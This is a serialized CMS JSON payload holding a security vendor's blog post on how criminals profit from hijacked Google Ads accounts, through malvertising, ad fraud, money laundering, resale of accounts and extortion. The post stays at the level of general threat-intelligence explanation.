"value":53590,"nodeType":865},{},[],{"data":81268,"marks":81269,"value":53594,"nodeType":865},{},[],{"data":81271,"content":81274,"nodeType":912},{"target":81272},{"sys":81273},{"id":53599,"type":909,"linkType":910},[],{"data":81276,"content":81277,"nodeType":972},{},[],{"data":81279,"content":81280,"nodeType":1317},{},[81281],{"data":81282,"marks":81283,"value":699,"nodeType":865},{},[81284],{"type":926},{"data":81286,"content":81287,"nodeType":866},{},[81288],{"data":81289,"marks":81290,"value":53619,"nodeType":865},{},[81291,81292],{"type":926},{"type":943},{"data":81294,"content":81295,"nodeType":866},{},[81296],{"data":81297,"marks":81298,"value":53626,"nodeType":865},{},[],{"data":81300,"content":81303,"nodeType":912},{"target":81301},{"sys":81302},{"id":53631,"type":909,"linkType":910},[],{"data":81305,"content":81306,"nodeType":972},{},[],{"data":81308,"content":81309,"nodeType":981},{},[81310],{"data":81311,"marks":81312,"value":14026,"nodeType":865},{},[81313],{"type":926},{"data":81315,"content":81316,"nodeType":866},{},[81317],{"data":81318,"marks":81319,"value":53649,"nodeType":865},{},[],{"data":81321,"content":81322,"nodeType":866},{},[81323],{"data":81324,"marks":81325,"value":53656,"nodeType":865},{},[],{"data":81327,"content":81328,"nodeType":1616},{},[81329,81348,81367],{"data":81330,"content":81331,"nodeType":1570},{},[81332],{"data":81333,"content":81334,"nodeType":866},{},[81335,81338,81345],{"data":81336,"marks":81337,"value":53669,"nodeType":865},{},[],{"data":81339,"content":81340,"nodeType":889},{"uri":53672},[81341],{"data":81342,"marks":81343,"value":8641,"nodeType":865},{},[81344],{"type":943},{"data":81346,"marks":81347,"value":53681,"nodeType":865},{},[],{"data":81349,"content":81350,"nodeType":1570},{},[81351],{"data":81352,"content":81353,"nodeType":866},{},[81354,81357,81364],{"data":81355,"marks":81356,"value":53691,"nodeType":865},{},[],{"data":81358,"content":81359,"nodeType":889},{"uri":53694},[81360],{"data":81361,"marks":81362,"value":53700,"nodeType":865},{},[81363],{"type":943},{"data":81365,"marks":81366,"value":53681,"nodeType":865},{},[],{"data":81368,"content":81369,"nodeType":1570},{},[81370],{"data":81371,"content":81372,"nodeType":866},{},[81373,81376,81383],{"data":81374,"marks":81375,"value":53713,"nodeType":865},{},[],{"data":81377,"content":81378,"nodeType":889},{"uri":1063},[81379],{"data":81380,"marks":81381,"value":53721,"nodeType":865},{},[81382],{"type":943},{"data":81384,"marks":81385,"value":53681,"nodeType":865},{},[],{"data":81387,"content":81388,"nodeType":866},{},[81389],{"data":81390,"marks":81391,"value":53731,"nodeType":865},{},[],{"data":81393,"content":81394,"nodeType":1616},{},[81395,81408,81421,81434],{"data":81396,"content":81397,"nodeType":1570},{},[81398],{"data":81399,"content":81400,"nodeType":866},{},[81401,81405],{"data":81402,"marks":81403,"value":53745,"nodeType":865},{},[81404],{"type":926},{"data":81406,"marks":81407,"value":53749,"nodeType":865},{},[],{"data":81409,"content":81410,"nodeType":1570},{},[81411],{"data":81412,"content":81413,"nodeType":866},{},[81414,81418],{"data":81415,"marks":81416,"value":53760,"nodeType":865},{},[81417],{"type":926},{"data":81419,"marks":81420,"value":53764,"nodeType":865},{},[],{"data":81422,"content":81423,"nodeType":1570},{},[81424],{"data":81425,"content":81426,"nodeType":866},{},[81427,81431],{"data":81428,"marks":81429,"value":53775,"nodeType":865},{},[81430],{"type":926},{"data":81432,"marks":81433,"value":53779,"nodeType":865},{},[],{"data":81435,"content":81436,"nodeType":1570},{},[81437],{"data":81438,"content":81439,"nodeType":866},{},[81440,81444],{"data":81441,"marks":81442,"value":53790,"nodeType":865},{},[81443],{"type":926},{"data":81445,"marks":81446,"value":53794,"nodeType":865},{},[],{"data":81448,"content":81449,"nodeType":866},{},[81450],{"data":81451,"marks":81452,"value":53801,"nodeType":865},{},[],{"data":81454,"content":81455,"nodeType":972},{},[],{"data":81457,"content":81458,"nodeType":981},{},[81459],{"data":81460,"marks":81461,"value":53812,"nodeType":865},{},[81462],{"type":926},{"data":81464,"content":81465,"nodeType":866},{},[81466],{"data":81467,"marks":81468,"value":53819,"nodeType":865},{},[],{"data":81470,"content":81471,"nodeType":866},{},[81472],{"data":81473,"marks":81474,"value":53826,"nodeType":865},{},[],{"data":81476,"content":81479,"nodeType":912},{"target":81477},{"sys":81478},{"id":53831,"type":909,"linkType":910},[],{"data":81481,"content":81482,"nodeType":972},{},[],{"data":81484,"content":81485,"nodeType":981},{},[81486],{"data":81487,"marks":81488,"value":6331,"nodeType":865},{},[81489],{"type":926},{"data":81491,"content":81492,"nodeType":866},{},[81493],{"data":81494,"marks":81495,"value":53849,"nodeType":865},{},[],{"data":81497,"content":81498,"nodeType":866},{},[81499],{"data":81500,"marks":81501,"value":53856,"nodeType":865},{},[],{"data":81503,"content":81504,"nodeType":866},{},[81505],{"data":81506,"marks":81507,"value":53863,"nodeType":865},{},[],{"data":81509,"content":81510,"nodeType":866},{},[81511,81514,81521,81524,81531],{"data":81512,"marks":81513,"value":11372,"nodeType":865},{},[],{"data":81515,"content":81516,"nodeType":889},{"uri":11375},[81517],{"data":81518,"marks":81519,"value":11381,"nodeType":865},{},[81520],{"type":943},{"data":81522,"marks":81523,"value":53880,"nodeType":865},{},[],{"data":81525,"content":81526,"nodeType":889},{"uri":1372},[81527],{"data":81528,"marks":81529,"value":11405,"nodeType":865},{},[81530],{"type":943},{"data":81532,"marks":81533,"value":1615,"nodeType":865},{},[],{"items":81535},[81536,81538],{"sys":81537,"name":7796},{"id":7795},{"sys":81539,"name":342},{"id":4642},{"items":81541},[81542],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":81543},{"url":7804},"blog/unpacking-the-latest-slh-campaign",{"json":81546},{"data":81547,"content":81548,"nodeType":1382},{},[81549],{"data":81550,"content":81551,"nodeType":866},{},[81552],{"data":81553,"marks":81554,"value":81555,"nodeType":865},{},[],"Analyzing the latest Scattered Lapsus$ Hunters (SLH) phishing campaign targeting hundreds of organizations. ",{"id":67381,"publishedAt":81557},"2026-08-12T11:53:16.417Z",{"items":81559},[81560,81562],{"sys":81561,"name":7796},{"id":7795},{"sys":81563,"name":342},{"id":4642},{"items":81565},[81566,81568,81570,81572,81574,81576,81578,81580,81582,81584,81586,81588,81590,81592,81594,81596,81598],{"sys":81567,"name":279,"slug":280,"tier":31},{"id":276},{"sys":81569,"name":413,"slug":414,"tier":31},{"id":410},{"sys":81571,"name":519,"slug":520,"tier":31},{"id":516},{"sys":81573,"name":342,"slug":343,"tier":31},{"id":339},{"sys":81575,"name":642,"slug":643,"tier":31},{"id":639},{"sys":81577,"name":650,"slug":651,"tier":45},{"id":647},{"sys":81579,"name":261,"slug":262,"tier":45},{"id":258},{"sys":81581,"name":571,"slug":572,"tier":45},{"id":568},{"sys":81583,"name":466,"slug":467,"tier":45},{"id":463},{"sys":81585,"name":607,"slug":608,"tier":45},{"id":604},{"sys":81587,"name":511,"slug":512,"tier":45},{"id":508},{"sys":81589,"name":324,"slug":325,"tier":45},{"id":321},{"sys":81591,"name":475,"slug":476,"tier":45},{"id":472},{"sys":81593,"name":395,"slug":396,"tier":45},{"id":392},{"sys":81595,"name":493,"slug":494,"tier":45},{"id":490},{"sys":81597,"name":537,"slug":538,"tier":45},{"id":534},{"sys":81599,"name":404,"slug":405,"tier":45},{"id":401},"nlrbqqJFVIlz8E8KpfsQufXY-yj--6GLH62nM04r1CY",{"id":81602,"title":36690,"authorsCollection":81603,"content":81608,"extension":228,"faqItemsCollection":82232,"faqTitle":59,"featured":6,"hashTags":59,"meta":82234,"metaTitle":82235,"ogImage":59,"postType":42959,"publishedDate":71177,"relatedBlogPostsCollection":82236,"slug":36691,"stem":84289,"subtitle":59,"summary":84290,"synopsis":84300,"sys":84301,"tagsCollection":84303,"topicsCollection":84309,"__hash__":84337},"blog/blog/cyber-criminal-ecosystem-analysis.json",{"items":81604},[81605],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":81606,"profilePicture":81607},[30152],{"url":7804},{"json":81609,"links":82078},{"data":81610,"content":81611,"nodeType":1382},{},[81612,81619,81625,81687,81690,81697,81703,81709,81716,81723,81726,81733,81748,81754,81761,81827,81834,81840,81847,81853,81856,81864,81871,81878,81885,81892,81898,81901,81909,81916,81923,81930,81959,81966,81972,81975,81983,81990,81997,82004,82007,82014,82021,82028,82034,82040,82067,82072],{"data":81613,"content":81614,"nodeType":866},{},[81615],{"data":81616,"marks":81617,"value":81618,"nodeType":865},{},[],"In recent months, we’ve seen a significant increase in the number of attacks targeting ad manager accounts. These attacks range from phishing campaigns against marketing professionals to malicious sites impersonating legitimate marketing tools — ultimately serving up an Attacker-in-the-Middle (AITM) phishing page designed to steal the victim’s Google account. ",{"data":81620,"content":81621,"nodeType":866},{},[81622],{"data":81623,"marks":81624,"value":70596,"nodeType":865},{},[],{"data":81626,"content":81627,"nodeType":1616},{},[81628,81647,81666],{"data":81629,"content":81630,"nodeType":1570},{},[81631],{"data":81632,"content":81633,"nodeType":866},{},[81634,81637,81644],{"data":81635,"marks":81636,"value":70609,"nodeType":865},{},[],{"data":81638,"content":81639,"nodeType":889},{"uri":70612},[81640],{"data":81641,"marks":81642,"value":70618,"nodeType":865},{},[81643],{"type":943},{"data":81645,"marks":81646,"value":70622,"nodeType":865},{},[],{"data":81648,"content":81649,"nodeType":1570},{},[81650],{"data":81651,"content":81652,"nodeType":866},{},[81653,81656,81663],{"data":81654,"marks":81655,"value":70632,"nodeType":865},{},[],{"data":81657,"content":81658,"nodeType":889},{"uri":70635},[81659],{"data":81660,"marks":81661,"value":70641,"nodeType":865},{},[81662],{"type":943},{"data":81664,"marks":81665,"value":70645,"nodeType":865},{},[],{"data":81667,"content":81668,"nodeType":1570},{},[81669],{"data":81670,"content":81671,"nodeType":866},{},[81672,81676,81684],{"data":81673,"marks":81674,"value":81675,"nodeType":865},{},[],"A continuation of the Google Ads malvertising campaign, ",{"data":81677,"content":81679,"nodeType":889},{"uri":81678},"https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs",[81680],{"data":81681,"marks":81682,"value":81683,"nodeType":865},{},[],"this time impersonating Ahrefs",{"data":81685,"marks":81686,"value":14251,"nodeType":865},{},[],{"data":81688,"content":81689,"nodeType":972},{},[],{"data":81691,"content":81692,"nodeType":981},{},[81693],{"data":81694,"marks":81695,"value":70767,"nodeType":865},{},[81696],{"type":926},{"data":81698,"content":81699,"nodeType":866},{},[81700],{"data":81701,"marks":81702,"value":70774,"nodeType":865},{},[],{"data":81704,"content":81705,"nodeType":866},{},[81706],{"data":81707,"marks":81708,"value":70781,"nodeType":865},{},[],{"data":81710,"content":81711,"nodeType":866},{},[81712],{"data":81713,"marks":81714,"value":81715,"nodeType":865},{},[],"A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.",{"data":81717,"content":81718,"nodeType":866},{},[81719],{"data":81720,"marks":81721,"value":81722,"nodeType":865},{},[],"Here’s how attackers can profit from a compromised ad manager account — and how it impacts your business. ",{"data":81724,"content":81725,"nodeType":972},{},[],{"data":81727,"content":81728,"nodeType":1317},{},[81729],{"data":81730,"marks":81731,"value":440,"nodeType":865},{},[81732],{"type":926},{"data":81734,"content":81735,"nodeType":866},{},[81736,81740,81744],{"data":81737,"marks":81738,"value":81739,"nodeType":865},{},[],"Arguably the most dangerous use of a compromised ad manager account is to conduct ",{"data":81741,"marks":81742,"value":441,"nodeType":865},{},[81743],{"type":926},{"data":81745,"marks":81746,"value":81747,"nodeType":865},{},[]," – inserting malicious ads or redirects in place of legitimate advertisements. ",{"data":81749,"content":81750,"nodeType":866},{},[81751],{"data":81752,"marks":81753,"value":70837,"nodeType":865},{},[],{"data":81755,"content":81756,"nodeType":866},{},[81757],{"data":81758,"marks":81759,"value":81760,"nodeType":865},{},[],"The goal here is usually to compromise more devices and accounts, via:",{"data":81762,"content":81763,"nodeType":1616},{},[81764,81774,81784,81817],{"data":81765,"content":81766,"nodeType":1570},{},[81767],{"data":81768,"content":81769,"nodeType":866},{},[81770],{"data":81771,"marks":81772,"value":81773,"nodeType":865},{},[],"AITM phishing sites looking to hijack sessions on valuable accounts — usually enterprise SSO accounts such as Google or Microsoft, but also many high-value SaaS services, as well as logins for banking and cryptocurrency sites.. ",{"data":81775,"content":81776,"nodeType":1570},{},[81777],{"data":81778,"content":81779,"nodeType":866},{},[81780],{"data":81781,"marks":81782,"value":81783,"nodeType":865},{},[],"Deploying infostealer malware, harvesting credentials and user sessions from the compromised device to enable broad access to apps via compromised accounts. ",{"data":81785,"content":81786,"nodeType":1570},{},[81787],{"data":81788,"content":81789,"nodeType":866},{},[81790,81794,81801,81805,81813],{"data":81791,"marks":81792,"value":81793,"nodeType":865},{},[],"Running ",{"data":81795,"content":81796,"nodeType":889},{"uri":14355},[81797],{"data":81798,"marks":81799,"value":315,"nodeType":865},{},[81800],{"type":943},{"data":81802,"marks":81803,"value":81804,"nodeType":865},{},[],"-style social engineering scams prompting users to perform a malicious action (typically running code on their device, although a new browser-native version of this attack in the form of ",{"data":81806,"content":81807,"nodeType":889},{"uri":7472},[81808],{"data":81809,"marks":81810,"value":81812,"nodeType":865},{},[81811],{"type":943},"ConsentFix ",{"data":81814,"marks":81815,"value":81816,"nodeType":865},{},[],"was recently discovered by Push researchers).",{"data":81818,"content":81819,"nodeType":1570},{},[81820],{"data":81821,"content":81822,"nodeType":866},{},[81823],{"data":81824,"marks":81825,"value":81826,"nodeType":865},{},[],"Infecting machines with malicious software to siphon compute power for cryptomining or adding the device to a botnet used in DDOS attacks. ",{"data":81828,"content":81829,"nodeType":866},{},[81830],{"data":81831,"marks":81832,"value":81833,"nodeType":865},{},[],"Harvested data can be used by the attacker directly to conduct cyber attacks, but is more commonly sold on to other criminals further up the supply chain. So, attackers are using compromised ad accounts, to take over more accounts used to manage ads, to take over even more accounts… You can see how this can quickly snowball into something hugely profitable for attackers. ",{"data":81835,"content":81839,"nodeType":912},{"target":81836},{"sys":81837},{"id":81838,"type":909,"linkType":910},"1Ji0oUqCZvgmQIT2VWNgjQ",[],{"data":81841,"content":81842,"nodeType":866},{},[81843],{"data":81844,"marks":81845,"value":81846,"nodeType":865},{},[],"Malvertising scams don’t just target ad manager accounts either. They can be found targeting all manner of sites. But all malvertising scams are underpinned by ad spending — so it makes sense that attackers are looking to harvest account access and make use of the pre-allocated marketing spend of their victims. ",{"data":81848,"content":81852,"nodeType":912},{"target":81849},{"sys":81850},{"id":81851,"type":909,"linkType":910},"7qpSbkJxLeo7zD400cvQyv",[],{"data":81854,"content":81855,"nodeType":972},{},[],{"data":81857,"content":81858,"nodeType":1317},{},[81859],{"data":81860,"marks":81861,"value":81863,"nodeType":865},{},[81862],{"type":926},"Ad fraud",{"data":81865,"content":81866,"nodeType":866},{},[81867],{"data":81868,"marks":81869,"value":81870,"nodeType":865},{},[],"One of the most common motives for hacking ad accounts is ad fraud – generating fake ad impressions or clicks to illicitly collect advertising revenue. By hijacking a Google Ad Manager account, criminals can direct the account’s ad spend to their own fraudulent web pages.",{"data":81872,"content":81873,"nodeType":866},{},[81874],{"data":81875,"marks":81876,"value":81877,"nodeType":865},{},[],"When a Google Ads/Ad Manager account is compromised, attackers can create new campaigns or modify existing ones. By directing traffic to websites the criminals control (often low quality sites made specifically for advertising) the victim’s ad budget can be funnelled into the attackers’ pockets as ad revenue.",{"data":81879,"content":81880,"nodeType":866},{},[81881],{"data":81882,"marks":81883,"value":81884,"nodeType":865},{},[],"The hijacked ad accounts provide a means to introduce fraudulent traffic into legitimate ad ecosystems, often escaping immediate detection thanks to the account’s established trust or high spending thresholds. For example, a compromised account with a large budget can run thousands of ads pointing to fraudulent sites before being flagged. ",{"data":81886,"content":81887,"nodeType":866},{},[81888],{"data":81889,"marks":81890,"value":81891,"nodeType":865},{},[],"This is often abused as a channel for money laundering. An attacker can inject dirty money into the ad ecosystem (for example, using a compromised advertiser account’s billing) and then receive clean money out the other end (as payments to a publisher or ad partner account they control). ",{"data":81893,"content":81897,"nodeType":912},{"target":81894},{"sys":81895},{"id":81896,"type":909,"linkType":910},"21ryRzAB91llJXOVlkdiv5",[],{"data":81899,"content":81900,"nodeType":972},{},[],{"data":81902,"content":81903,"nodeType":1317},{},[81904],{"data":81905,"marks":81906,"value":81908,"nodeType":865},{},[81907],{"type":926},"Selling or sharing access with other criminal groups ",{"data":81910,"content":81911,"nodeType":866},{},[81912],{"data":81913,"marks":81914,"value":81915,"nodeType":865},{},[],"Stolen advertising accounts themselves have become a commodity in the underground economy. Instead of (or in addition to) exploiting the account personally, a hacker might sell access to the compromised Ad Manager account on criminal forums. ",{"data":81917,"content":81918,"nodeType":866},{},[81919],{"data":81920,"marks":81921,"value":81922,"nodeType":865},{},[],"There is strong demand for reputable ad accounts because they come with advantages: high spending limits, established credit card billing, a history of compliance (making them less likely to be flagged by Google’s fraud detection), and existing relationships with ad networks or clients. In other words, a hijacked account is a ready-made vehicle for anyone looking to run malicious ad campaigns without going through the usual vetting.",{"data":81924,"content":81925,"nodeType":866},{},[81926],{"data":81927,"marks":81928,"value":81929,"nodeType":865},{},[],"Access to a Google Ads account (especially one with a good track record or high credit threshold) can fetch a significant price in criminal markets. Compromised Google ad accounts have shown up for sale on hacker forums and darknet markets, often advertised with details like the account’s age, billing history, or spend limit. For example, a hacker on one forum might sell or rent a “2-year-old Google Ads account with $50k monthly spend history” for a price commensurate with its potential yield.",{"data":81931,"content":81932,"nodeType":866},{},[81933,81937,81946,81950,81955],{"data":81934,"marks":81935,"value":81936,"nodeType":865},{},[],"The previously mentioned ",{"data":81938,"content":81940,"nodeType":889},{"uri":81939},"https://cloud.google.com/blog/topics/threat-intelligence/vietnamese-actors-fake-job-posting-campaigns",[81941],{"data":81942,"marks":81943,"value":81945,"nodeType":865},{},[81944],{"type":943},"Vietnamese threat group",{"data":81947,"marks":81948,"value":81949,"nodeType":865},{},[]," would ",{"data":81951,"marks":81952,"value":81954,"nodeType":865},{},[81953],{"type":926},"“either sell ads to other actors, or sell the accounts themselves to other actors to monetize”",{"data":81956,"marks":81957,"value":81958,"nodeType":865},{},[],". This means an attacker could use a compromised account as a platform to sell fraudulent ad placements (e.g. “pay us and we’ll run your ads via this legitimate account for X days”). If not, they just sell the whole account login to the highest bidder.",{"data":81960,"content":81961,"nodeType":866},{},[81962],{"data":81963,"marks":81964,"value":81965,"nodeType":865},{},[],"It’s also worth noting that a Google Ad Manager account is also an enterprise SSO account that can be used to access broader Google Workspace services, and any SaaS apps accessible via SSO. ",{"data":81967,"content":81971,"nodeType":912},{"target":81968},{"sys":81969},{"id":81970,"type":909,"linkType":910},"1RrDk0VMWNGwPPEc8wIZWM",[],{"data":81973,"content":81974,"nodeType":972},{},[],{"data":81976,"content":81977,"nodeType":1317},{},[81978],{"data":81979,"marks":81980,"value":81982,"nodeType":865},{},[81981],{"type":926},"Data theft and extortion",{"data":81984,"content":81985,"nodeType":866},{},[81986],{"data":81987,"marks":81988,"value":81989,"nodeType":865},{},[],"Most ad accounts contain valuable data – like audience lists, conversion data, or payment info. Attackers could exfiltrate this data and extort the victim by threatening to leak it or sell it (though this borders on a data breach scenario, it’s another way to extort via an ad account hack, especially for large advertising agencies handling many clients’ data).",{"data":81991,"content":81992,"nodeType":866},{},[81993],{"data":81994,"marks":81995,"value":81996,"nodeType":865},{},[],"An attacker might also threaten to manipulate the account in ways that hurt the victim financially. For instance, they could create fake campaigns that burn through the budget on useless traffic (driving up costs with nothing to show, or even causing overcharges). They could also threaten to click-bomb the victim’s ads (if it’s an advertiser account) so that Google’s systems detect invalid activity and suspend the account. ",{"data":81998,"content":81999,"nodeType":866},{},[82000],{"data":82001,"marks":82002,"value":82003,"nodeType":865},{},[],"For the victim, the cost of reputational damage or lost advertising time can far exceed the ransom demand, which is why some might contemplate paying. A large brand could lose consumer confidence or partner relationships if their ads serve malware for even a short time. Agencies managing several client ad accounts could face client complaints and legal liability if an attack spreads offensive ads via their accounts – such agencies have noted the “serious financial threats” and client dissatisfaction resulting from ad account breaches.",{"data":82005,"content":82006,"nodeType":972},{},[],{"data":82008,"content":82009,"nodeType":981},{},[82010],{"data":82011,"marks":82012,"value":57175,"nodeType":865},{},[82013],{"type":926},{"data":82015,"content":82016,"nodeType":866},{},[82017],{"data":82018,"marks":82019,"value":82020,"nodeType":865},{},[],"Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the agency’s customer portfolio. ",{"data":82022,"content":82023,"nodeType":866},{},[82024],{"data":82025,"marks":82026,"value":82027,"nodeType":865},{},[],"Organisations need to be on guard against both attacks on accounts used to manage ads, and malvertising in general — which is an incredibly prevalent threat and one of the top delivery vectors for phishing attacks today. Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":82029,"content":82030,"nodeType":866},{},[82031],{"data":82032,"marks":82033,"value":70898,"nodeType":865},{},[],{"data":82035,"content":82039,"nodeType":912},{"target":82036},{"sys":82037},{"id":82038,"type":909,"linkType":910},"3VJGhlTaAAOyJckK2yUfZd",[],{"data":82041,"content":82042,"nodeType":866},{},[82043,82047,82054,82057,82064],{"data":82044,"marks":82045,"value":82046,"nodeType":865},{},[],"To learn more about how Push tackles browser-based threats, ",{"data":82048,"content":82049,"nodeType":889},{"uri":11375},[82050],{"data":82051,"marks":82052,"value":11381,"nodeType":865},{},[82053],{"type":943},{"data":82055,"marks":82056,"value":53880,"nodeType":865},{},[],{"data":82058,"content":82059,"nodeType":889},{"uri":1372},[82060],{"data":82061,"marks":82062,"value":11405,"nodeType":865},{},[82063],{"type":943},{"data":82065,"marks":82066,"value":1615,"nodeType":865},{},[],{"data":82068,"content":82071,"nodeType":912},{"target":82069},{"sys":82070},{"id":79394,"type":909,"linkType":910},[],{"data":82073,"content":82074,"nodeType":866},{},[82075],{"data":82076,"marks":82077,"value":21,"nodeType":865},{},[],{"entries":82079},{"hyperlink":82080,"inline":82081,"block":82082},[],[],[82083,82089,82103,82181,82215,82228],{"sys":82084,"__typename":1390,"title":82085,"caption":82086,"layoutMode":59,"file":82087},{"id":81838},"Propagation of malvertising","It’s easy to see how malicious ads can propagate and turn into more malicious ads, leading to more campaigns impersonating more brands, more account compromises, and so on. ",{"url":82088,"width":1402,"height":78586},"https://images.ctfassets.net/y1cdw1ablpvd/3iUNORa8hHXi68kZAsFxi8/1a742458ae768bc14a1ba1f6cf26de41/image1.png",{"sys":82090,"__typename":5503,"content":82091,"name":82102,"title":59},{"id":81851},{"json":82092},{"nodeType":1382,"data":82093,"content":82094},{},[82095],{"nodeType":866,"data":82096,"content":82097},{},[82098],{"nodeType":865,"value":82099,"marks":82100,"data":82101},"Large enterprises spend vast amounts on Google Ads, often starting at $20,000+ per month, with major brands sometimes spending $40 to $50 million annually, depending heavily on their competitive industry. So, there’s a lot to play with for an attacker — and it might be some time before a discrepancy is noticed by the victim. ",[],{},"Malvertising insight box 4",{"sys":82104,"__typename":5503,"content":82105,"name":82180,"title":59},{"id":81896},{"json":82106},{"nodeType":1382,"data":82107,"content":82108},{},[82109,82137],{"nodeType":866,"data":82110,"content":82111},{},[82112,82116,82124,82128,82133],{"nodeType":865,"value":82113,"marks":82114,"data":82115},"In late 2025, agencies noticed a surge of Google Ads account takeovers where hackers ran unauthorized campaigns until budgets were exhausted. ",[],{},{"nodeType":889,"data":82117,"content":82118},{"uri":81939},[82119],{"nodeType":865,"value":82120,"marks":82121,"data":82123},"Google’s Threat Analysis Group found a cluster of Vietnamese actors",[82122],{"type":943},{},{"nodeType":865,"value":82125,"marks":82126,"data":82127}," who hijacked marketing accounts to ",[],{},{"nodeType":865,"value":82129,"marks":82130,"data":82132},"“either sell ads to other actors, or sell the accounts themselves”",[82131],{"type":926},{},{"nodeType":865,"value":82134,"marks":82135,"data":82136}," for profit. ",[],{},{"nodeType":866,"data":82138,"content":82139},{},[82140,82144,82153,82157,82166,82170,82177],{"nodeType":865,"value":82141,"marks":82142,"data":82143},"Similarly, a series of attacks on companies managing ads ",[],{},{"nodeType":889,"data":82145,"content":82147},{"uri":82146},"https://www.adexchanger.com/online-advertising/people-managing-google-ad-campaigns-are-getting-their-accounts-seized-by-scammers/",[82148],{"nodeType":865,"value":82149,"marks":82150,"data":82152},"reported that their accounts had been hacked as early as January 2025",[82151],{"type":943},{},{"nodeType":865,"value":82154,"marks":82155,"data":82156},". These attacks were linked to ",[],{},{"nodeType":889,"data":82158,"content":82160},{"uri":82159},"https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads",[82161],{"nodeType":865,"value":82162,"marks":82163,"data":82165},"South American scam operations by MalwareBytes",[82164],{"type":943},{},{"nodeType":865,"value":82167,"marks":82168,"data":82169}," — likely the same group behind ",[],{},{"nodeType":889,"data":82171,"content":82172},{"uri":81678},[82173],{"nodeType":865,"value":82174,"marks":82175,"data":82176},"the attacks we recently identified",[],{},{"nodeType":865,"value":14251,"marks":82178,"data":82179},[],{},"Malvertising insight box 1",{"sys":82182,"__typename":5503,"content":82183,"name":82214,"title":59},{"id":81970},{"json":82184},{"data":82185,"content":82186,"nodeType":1382},{},[82187],{"data":82188,"content":82189,"nodeType":866},{},[82190,82194,82199,82209],{"data":82191,"marks":82192,"value":82193,"nodeType":865},{},[],"Even if the victim isn’t predominantly a Google shop, a Google account using the same email as a different identity provider account (e.g. Microsoft) can still be used to access downstream apps via SSO. This is because most apps use the email itself as the identifier, while 3 in 5 allow you to access an account using a new login method without doing any further verification checks. ",{"data":82195,"marks":82196,"value":82198,"nodeType":865},{},[82197],{"type":926},"Read our ",{"data":82200,"content":82202,"nodeType":889},{"uri":82201},"https://pushsecurity.com/blog/cross-idp-impersonation/",[82203],{"data":82204,"marks":82205,"value":82208,"nodeType":865},{},[82206,82207],{"type":943},{"type":926},"blog post on cross-IdP impersonation",{"data":82210,"marks":82211,"value":82213,"nodeType":865},{},[82212],{"type":926}," for more information. ","Malvertising insight box 2",{"sys":82216,"__typename":5503,"content":82217,"name":82227,"title":59},{"id":82038},{"json":82218},{"nodeType":1382,"data":82219,"content":82220},{},[82221],{"nodeType":866,"data":82222,"content":82223},{},[82224],{"nodeType":865,"value":70905,"marks":82225,"data":82226},[],{},"Malvertising insight box 3",{"sys":82229,"__typename":1414,"type":1415,"ctaText":82230,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":82231},{"id":79394},"Want to see how security controls match up with modern browser-based attacks? Register for our upcoming webinar for an interactive walkthrough.","https://pushsecurity.com/webinar/investigating-browser-threats",{"items":82233},[],{},"Analysing the malvertising criminal ecosystem",{"items":82237},[82238,82779,83607],{"__typename":1429,"sys":82239,"content":82240,"title":36706,"synopsis":71176,"hashTags":59,"publishedDate":71177,"slug":36707,"tagsCollection":82769,"authorsCollection":82775},{"id":33828},{"json":82241},{"data":82242,"content":82243,"nodeType":1382},{},[82244,82250,82256,82297,82302,82308,82314,82319,82324,82329,82332,82339,82345,82350,82356,82361,82366,82372,82377,82392,82395,82402,82408,82414,82420,82426,82431,82446,82449,82456,82462,82508,82514,82520,82523,82530,82536,82542,82548,82574,82577,82584,82600,82606,82645,82651,82690,82696,82762],{"data":82245,"content":82246,"nodeType":866},{},[82247],{"data":82248,"marks":82249,"value":70589,"nodeType":865},{},[],{"data":82251,"content":82252,"nodeType":866},{},[82253],{"data":82254,"marks":82255,"value":70596,"nodeType":865},{},[],{"data":82257,"content":82258,"nodeType":1616},{},[82259,82278],{"data":82260,"content":82261,"nodeType":1570},{},[82262],{"data":82263,"content":82264,"nodeType":866},{},[82265,82268,82275],{"data":82266,"marks":82267,"value":70609,"nodeType":865},{},[],{"data":82269,"content":82270,"nodeType":889},{"uri":70612},[82271],{"data":82272,"marks":82273,"value":70618,"nodeType":865},{},[82274],{"type":943},{"data":82276,"marks":82277,"value":70622,"nodeType":865},{},[],{"data":82279,"content":82280,"nodeType":1570},{},[82281],{"data":82282,"content":82283,"nodeType":866},{},[82284,82287,82294],{"data":82285,"marks":82286,"value":70632,"nodeType":865},{},[],{"data":82288,"content":82289,"nodeType":889},{"uri":70635},[82290],{"data":82291,"marks":82292,"value":70641,"nodeType":865},{},[82293],{"type":943},{"data":82295,"marks":82296,"value":70645,"nodeType":865},{},[],{"data":82298,"content":82301,"nodeType":912},{"target":82299},{"sys":82300},{"id":70650,"type":909,"linkType":910},[],{"data":82303,"content":82304,"nodeType":866},{},[82305],{"data":82306,"marks":82307,"value":70658,"nodeType":865},{},[],{"data":82309,"content":82310,"nodeType":866},{},[82311],{"data":82312,"marks":82313,"value":70665,"nodeType":865},{},[],{"data":82315,"content":82318,"nodeType":912},{"target":82316},{"sys":82317},{"id":70670,"type":909,"linkType":910},[],{"data":82320,"content":82323,"nodeType":912},{"target":82321},{"sys":82322},{"id":70676,"type":909,"linkType":910},[],{"data":82325,"content":82328,"nodeType":912},{"target":82326},{"sys":82327},{"id":70682,"type":909,"linkType":910},[],{"data":82330,"content":82331,"nodeType":972},{},[],{"data":82333,"content":82334,"nodeType":981},{},[82335],{"data":82336,"marks":82337,"value":70694,"nodeType":865},{},[82338],{"type":926},{"data":82340,"content":82341,"nodeType":866},{},[82342],{"data":82343,"marks":82344,"value":70701,"nodeType":865},{},[],{"data":82346,"content":82349,"nodeType":912},{"target":82347},{"sys":82348},{"id":70706,"type":909,"linkType":910},[],{"data":82351,"content":82352,"nodeType":866},{},[82353],{"data":82354,"marks":82355,"value":70714,"nodeType":865},{},[],{"data":82357,"content":82360,"nodeType":912},{"target":82358},{"sys":82359},{"id":70719,"type":909,"linkType":910}